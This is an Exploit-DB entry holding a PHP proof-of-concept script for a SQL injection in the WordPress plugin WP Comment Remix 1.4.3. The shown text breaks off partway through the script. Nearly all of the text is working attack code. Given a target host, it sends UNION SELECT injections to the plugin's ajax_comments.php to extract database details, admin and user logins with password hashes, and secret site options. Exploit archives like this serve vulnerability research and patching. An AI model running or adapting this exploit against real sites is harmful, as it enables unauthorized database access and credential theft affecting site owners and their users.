Exploit-DB #6747
Description: WordPress Plugin WP Comment Remix 1.4.3 - SQL Injection
Type: webapps
Platform: php
Date: 2008-10-14
Author: g30rg3_x

Exploit:
<?php
	/**
	 * WP Comment Remix 1.4.3 SQL Injection
	 * Proof of Concept
	 * By g30rg3_x <g30rg3x_at_chxsecurity_dot_org>
	 *
	 * Advisory:
	 * http://chxsecurity.org/advisories/adv-3-full.txt
	 *
	 * PoC Mirror:
	 * http://chxsecurity.org/proof-of-concepts/wp-comment-remix-143.zip
	 *
	 * Attention:
	 * This is a Proof-of-Concept it was never intended to be fully functional
	 *
	 * Notes:
	 * Uses cURL
	 */

	// Script Header
	function head() {
		print "\n WP Comment Remix 1.4.3 SQL Injection";
		print "\n By g30rg3_x <g30rg3x_at_chxsecurity_dot_org>";
		print "\n ------------------------------------------------";
		print "\n This is a Proof-of-Concept it was never intended to be fully functional\n";
	}

	// Usage Information
	function usage() {
		global $argv;
		head();
		print "\n Usage: php {$argv[0]} <host> <path> <information> <table-prefix>\n";
		print "\n  <host>: Hostname or IP Address";
		print "\n  <path>: Path to WordPress (Defaults to: /)";
		print "\n  <information>: Information to Extract (Defaults to: relevant)";
		print "\n    dbinfo = Extract MySQL Current User, Database and Version";
		print "\n    admins = Extract Only Admins (users with level 10)";
		print "\n    users = Extract All Users (includes admins)";
		print "\n    options = Extract Relevant Options like active_plugins, secret, ...";
		print "\n    alloptions = Extrac All Options (Huge data would be directly printed out!)";
		print "\n    relevant = dbinfo + admins + options";
		print "\n    all = dbinfo + users + alloptions";
		print "\n  <table-prefix>: WordPress Tables Prefix (Defaults to: wp_)\n";
		print "\n Examples:";
		print "\n  php {$argv[0]} foo.bar";
		print "\n  php {$argv[0]} foo.bar /wordpress/";
		print "\n  php {$argv[0]} foo.bar /wordpress/ all foo_";
		print "\n";
		exit();
	}

	// cURL HTTP GET
	function GET($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_HEADER, true);
		curl_setopt($ch, CURLOPT_HTTPHEADER, array('Connection: Close'));
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_USERAGENT, 'WP-Comment-Remix 1.4.3 SQL Injection Proof-of-Concept');
		$result = curl_exec($ch);
		curl_close($ch);

		if ( preg_match('%HTTP/[0-9.x]+ 200 OK%', $result) )
			return $result;
		else
			return false;
	}

	// Obtain Database Information
	function obtainDBInfo() {
		global $prefix, $url;
		$injection = '/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,CONCAT(0x757365727B,user(),0x7D44427B,database(),0x7D[PII_REDACTED]6F6E7B,version(),0x7D),10,11,12,13,14,15--';
		$result = GET($url . $injection);
		preg_match_all('/user\{(?P<user>.+)\}DB\{(?P<DB>.+)\}version\{(?P<version>.+)\}/', $result, $captured, PREG_PATTERN_ORDER);
		$db['user'] = $captured['user'][0];
		$db['name'] = $captured['DB'][0];
		$db['version'] = $captured['version'][0];
		return $db;
	}

	// Obtain WordPress Users Information
	function obtainUsersInfo($all = false) {
		global $prefix, $url;
		$injection = "/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,CONCAT(0x757365727B,{$prefix}users.user_login,0x7D706173737B,{$prefix}users.user_pass,0x7D),10,11,12,13,14,15/**/FROM/**/{$prefix}users" . ( $all ? '' : ",{$prefix}usermeta/**/WHERE/**/{$prefix}users.ID={$prefix}usermeta.user_id/**/AND/**/{$prefix}usermeta.meta_key/**/REGEXP/**/0x757365725F6C6576656C/**/AND/**/{$prefix}usermeta.meta_value=10" ) . '--';
		$result = GET($url . $injection);
		preg_match_all('/user\{(?P<user>.+)\}pass\{(?P<pass>.+)\}/', $result, $captured, PREG_PATTERN_ORDER);
		for( $i = 0; $i < count($captured['user']); $i++ )
			$users[$captured['user'][$i]] = $captured['pass'][$i];
		return $users;
	}

	// Obtain WordPress Options Information
	function obtainOptionsInfo($all = false) {
		global $prefix, $url;
		$injection = "/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,CONCAT(option_name,0x7B7C,option_value,0x7C7D),10,11,12,13,14,15/**/FROM/**/{$prefix}options" . ( $all ? '' : '/**/WHERE/**/option_name/**/REGEXP/**/0x[PII_REDACTED]726C7C6C6F67696E7C757365727C706173737C617574687C[PII_REDACTED]747C73616C747C[PII_REDACTED]655F706C7567696E737C73656564' ) . '--';
		$result = GET($url . $injection);
		preg_match_all('%<p>(?P<name>.+)\{\|(?P<value>.+)\|\}</p>%', $result, $captured, PREG_PATTERN_ORDER);
		for( $i = 0; $i < count($captured['name']); $i++ )
			$options[$captured['name'][$i]] = $captured['value'][$i];
		return $options;
	}

	// Set no time limit (only if safe mode is off)
	if ( !ini_get('safe_mode') )
		set_time_limit(0);

	// Print usage if there is no host
	if ( !isset($argv[1]) )
		usage();

	// Header, Arguments and Generate URL
	head();
	$host = $argv[1];
	$path = isset($argv[2]) ? $argv[2] : '/';
	$info = isset($argv[3]) ? $argv[3] : 'relevant';
	$prefix = isset($argv[4]) ? $argv[4] : 'wp_';
	$url = 'http://' . $host . $path . 'wp-content/plugins/wp-comment-remix/ajax_comments.php?p=0';

	// Check if we can reach "ajax_comments.php"
	print "\n Does ajax_comments.php exist? ... ";
	$result = GET($url);
	if ( !$result ) {
		print "No";
		print "\n -----------------------------------------------------------";
		print "\n Seems that the site does not have WP Comment Remix installed";
		print "\n OR the path you proportionate is incorrect.";
		print "\n Please review your arguments and try again.\n";
		exit();
	}
	print 'Yes';

	// Check if is it possible to inject...
	// ToDo: Some WordPress installations return more than 15 columns (this is caused by some plugins that alter
	// the comments table structure and don't revert back this change) so this injection may fail A LOT in a non-default
	// enviroment (ie. sites with many plugins), so if you REALLY want this PoC to be more "functional" then improve
	// this part of the PoC; it was never my intention to deliver a "fully functional" Proof-of-Concept.
	print "\n Can we Inject SQL Code? ... ";
	$result = GET($url . '/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-